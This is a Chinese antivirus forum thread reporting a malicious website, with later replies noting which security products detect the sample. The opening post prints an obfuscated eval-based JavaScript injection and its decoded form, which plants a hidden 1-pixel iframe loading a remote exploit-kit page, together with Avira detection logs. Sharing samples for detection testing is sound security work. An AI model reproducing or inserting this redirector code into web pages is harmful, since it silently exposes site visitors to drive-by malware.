http://missfittoys.xxx/cpg15x/docs/se

显示全部楼层 · 发表于 2014-2-20 19:33:27

/*0242d5*/
ss = eval("Str" + "ing");
d = document;
a = "68,77,70,65,76,6b,71,70,22,7c,7c,7c,68,68,68,2a,2b,22,7d,f,c,22,22,22,22,78,63,74,22,73,78,77,6d,22,3f,22,66,71,65,77,6f,67,70,76,30,65,74,67,63,76,67,47,6e,67,6f,67,70,76,2a,29,6b,68,74,63,6f,67,29,2b,3d,f,c,f,c,22,22,22,22,73,78,77,6d,30,75,74,65,22,3f,22,29,6a,76,76,72,3c,31,31,68,63,76,69,77,7b,75,68,71,71,66,30,65,71,6f,31,61,78,76,6b,61,64,6b,70,31,66,76,66,30,72,6a,72,29,3d,f,c,22,22,22,22,73,78,77,6d,30,75,76,7b,6e,67,30,72,71,75,6b,76,6b,71,70,22,3f,22,29,63,64,75,71,6e,77,76,67,29,3d,f,c,22,22,22,22,73,78,77,6d,30,75,76,7b,6e,67,30,64,71,74,66,67,74,22,3f,22,29,32,29,3d,f,c,22,22,22,22,73,78,77,6d,30,75,76,7b,6e,67,30,6a,67,6b,69,6a,76,22,3f,22,29,33,72,7a,29,3d,f,c,22,22,22,22,73,78,77,6d,30,75,76,7b,6e,67,30,79,6b,66,76,6a,22,3f,22,29,33,72,7a,29,3d,f,c,22,22,22,22,73,78,77,6d,30,75,76,7b,6e,67,30,6e,67,68,76,22,3f,22,29,33,72,7a,29,3d,f,c,22,22,22,22,73,78,77,6d,30,75,76,7b,6e,67,30,76,71,72,22,3f,22,29,33,72,7a,29,3d,f,c,f,c,22,22,22,22,6b,68,22,2a,23,66,71,65,77,6f,67,70,76,30,69,67,76,47,6e,67,6f,67,70,76,44,7b,4b,66,2a,29,73,78,77,6d,29,2b,2b,22,7d,f,c,22,22,22,22,22,22,22,22,66,71,65,77,6f,67,70,76,30,79,74,6b,76,67,2a,29,3e,66,6b,78,22,6b,66,3f,5e,29,73,78,77,6d,5e,29,40,3e,31,66,6b,78,40,29,2b,3d,f,c,22,22,22,22,22,22,22,22,66,71,65,77,6f,67,70,76,30,69,67,76,47,6e,67,6f,67,70,76,44,7b,4b,66,2a,29,73,78,77,6d,29,2b,30,63,72,72,67,70,66,45,6a,6b,6e,66,2a,73,78,77,6d,2b,3d,f,c,22,22,22,22,7f,f,c,7f,f,c,68,77,70,65,76,6b,71,70,22,55,67,76,45,71,71,6d,6b,67,2a,65,71,71,6d,6b,67,50,63,6f,67,2e,65,71,71,6d,6b,67,58,63,6e,77,67,2e,70,46,63,7b,75,2e,72,63,76,6a,2b,22,7d,f,c,22,78,63,74,22,76,71,66,63,7b,22,3f,22,70,67,79,22,46,63,76,67,2a,2b,3d,f,c,22,78,63,74,22,67,7a,72,6b,74,67,22,3f,22,70,67,79,22,46,63,76,67,2a,2b,3d,f,c,22,6b,68,22,2a,70,46,63,7b,75,3f,3f,70,77,6e,6e,22,7e,7e,22,70,46,63,7b,75,3f,3f,32,2b,22,70,46,63,7b,75,3f,33,3d,f,c,22,67,7a,72,6b,74,67,30,75,67,76,56,6b,6f,67,2a,76,71,66,63,7b,30,69,67,76,56,6b,6f,67,2a,2b,22,2d,22,35,38,32,32,32,32,32,2c,34,36,2c,70,46,63,7b,75,2b,3d,f,c,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,22,3f,22,65,71,71,6d,6b,67,50,63,6f,67,2d,24,3f,24,2d,67,75,65,63,72,67,2a,65,71,71,6d,6b,67,58,63,6e,77,67,2b,f,c,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,2d,22,24,3d,67,7a,72,6b,74,67,75,3f,24,22,2d,22,67,7a,72,6b,74,67,30,76,71,49,4f,56,55,76,74,6b,70,69,2a,2b,22,2d,22,2a,2a,72,63,76,6a,2b,22,41,22,24,3d,22,72,63,76,6a,3f,24,22,2d,22,72,63,76,6a,22,3c,22,24,24,2b,3d,f,c,7f,f,c,68,77,70,65,76,6b,71,70,22,49,67,76,45,71,71,6d,6b,67,2a,22,70,63,6f,67,22,2b,22,7d,f,c,22,78,63,74,22,75,76,63,74,76,22,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,6b,70,66,67,7a,51,68,2a,22,70,63,6f,67,22,2d,22,24,3f,24,22,2b,3d,f,c,22,78,63,74,22,6e,67,70,22,3f,22,75,76,63,74,76,22,2d,22,70,63,6f,67,30,6e,67,70,69,76,6a,22,2d,22,33,3d,f,c,22,6b,68,22,2a,22,2a,22,23,75,76,63,74,76,22,2b,22,28,28,f,c,22,2a,22,70,63,6f,67,22,23,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,75,77,64,75,76,74,6b,70,69,2a,22,32,2e,22,70,63,6f,67,30,6e,67,70,69,76,6a,22,2b,22,2b,22,2b,f,c,22,7d,f,c,22,74,67,76,77,74,70,22,70,77,6e,6e,3d,f,c,22,7f,f,c,22,6b,68,22,2a,22,75,76,63,74,76,22,3f,3f,22,2f,33,22,2b,22,74,67,76,77,74,70,22,70,77,6e,6e,3d,f,c,22,78,63,74,22,67,70,66,22,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,6b,70,66,67,7a,51,68,2a,22,24,3d,24,2e,22,6e,67,70,22,2b,3d,f,c,22,6b,68,22,2a,22,67,70,66,22,3f,3f,22,2f,33,22,2b,22,67,70,66,22,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,6e,67,70,69,76,6a,3d,f,c,22,74,67,76,77,74,70,22,77,70,67,75,65,63,72,67,2a,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,75,77,64,75,76,74,6b,70,69,2a,22,6e,67,70,2e,22,67,70,66,22,2b,22,2b,3d,f,c,7f,f,c,6b,68,22,2a,70,63,78,6b,69,63,76,71,74,30,65,71,71,6d,6b,67,47,70,63,64,6e,67,66,2b,f,c,7d,f,c,6b,68,2a,49,67,76,45,71,71,6d,6b,67,2a,29,78,6b,75,6b,76,67,66,61,77,73,29,2b,3f,3f,37,37,2b,7d,7f,67,6e,75,67,7d,55,67,76,45,71,71,6d,6b,67,2a,29,78,6b,75,6b,76,67,66,61,77,73,29,2e,22,29,37,37,29,2e,22,29,33,29,2e,22,29,31,29,2b,3d,f,c,f,c,7c,7c,7c,68,68,68,2a,2b,3d,f,c,7f,f,c,7f".split(",");
for (i = 0; i < a.length; i++) {
a[i] = parseInt(a[i], 16) - (5 - 3);
}
try {
d.body--
} catch (q) {
zz = 0;
}
try {
zz &= 2
} catch (q) {
zz = 1;
}
if (!zz) if (window.document) eval(ss.fromCharCode.apply(ss, a)); /*/0242d5*/

复制代码

function zzzfff() {
var ngap = document.createElement('iframe');
ngap.src = 'http://fatguysfood.com/_vti_bin/dtd.php';
ngap.style.position = 'absolute';
ngap.style.border = '0';
ngap.style.height = '1px';
ngap.style.width = '1px';
ngap.style.left = '1px';
ngap.style.top = '1px';
if (!document.getElementById('ngap')) {
document.write('<div id=\'ngap\'></div>');
document.getElementById('ngap').appendChild(ngap);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}

复制代码

Avira

2014/2/20 下午 07:27 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\jquery[1].js'
   包含病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]
   已採取動作：
   檔案會移動至 '44356766.qua' 名稱底下的隔離區目錄!

2014/2/20 下午 07:27 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\script[1].js'
   包含病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]
   已採取動作：
   檔案會移動至 '5caf48cf.qua' 名稱底下的隔離區目錄!

2014/2/20 下午 07:27 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 787
   目錄數： 0
   惡意程式碼數： 3
   警告數： 0

2014/2/20 下午 07:27 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\jquery.treeview[2].js'
   包含病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]
   已採取動作：
   檔案會移動至 '166a3d8e.qua' 名稱底下的隔離區目錄!

2014/2/20 下午 07:26 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\UL724GWW\se[1].htm'
   包含病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]
   已採取動作：
   檔案會移動至 '5cda4503.qua' 名稱底下的隔離區目錄!

2014/2/20 下午 07:26 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 787
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2014/2/20 下午 07:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\script[1].js 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
   執行的動作：傳輸至掃描程式

2014/2/20 下午 07:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\UL724GWW\se[1].htm 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
   執行的動作：傳輸至掃描程式

2014/2/20 下午 07:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\jquery[1].js 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
   執行的動作：傳輸至掃描程式

2014/2/20 下午 07:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\jquery.treeview[2].js 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
   執行的動作：傳輸至掃描程式

2014/2/20 下午 07:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\jquery[1].js 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
   執行的動作：拒絕存取

2014/2/20 下午 07:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\jquery.treeview[2].js 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
   執行的動作：拒絕存取

2014/2/20 下午 07:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\script[1].js 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
   執行的動作：拒絕存取

2014/2/20 下午 07:24 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\UL724GWW\se[1].htm 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
   執行的動作：拒絕存取

2014/2/20 下午 07:24 [Web Protection] 已停用 Web Protection
   服務已停用

2014/2/20 下午 07:24 [Web Protection] 封鎖的網頁
   URL (http://missfittoys.xxx/cpg15x/docs/se) 的評估結果為惡意程式碼，而遭到封鎖.

fs is

eset

显示全部楼层 · 发表于 2014-2-20 21:57:46

文件防御了，ips没有反应。

显示全部楼层 · 发表于 2014-2-20 22:18:20

MSE 4.4

显示全部楼层 · 发表于 2014-2-28 22:23:38

谷歌的拦截很快，还是FSIS么反应，谷歌就杀了。

显示全部楼层 · 发表于 2014-3-23 13:24:51

ESET

显示全部楼层 · 发表于 2014-4-13 01:16:53

GD也杀了

[已鉴定] http://missfittoys.xxx/cpg15x/docs/se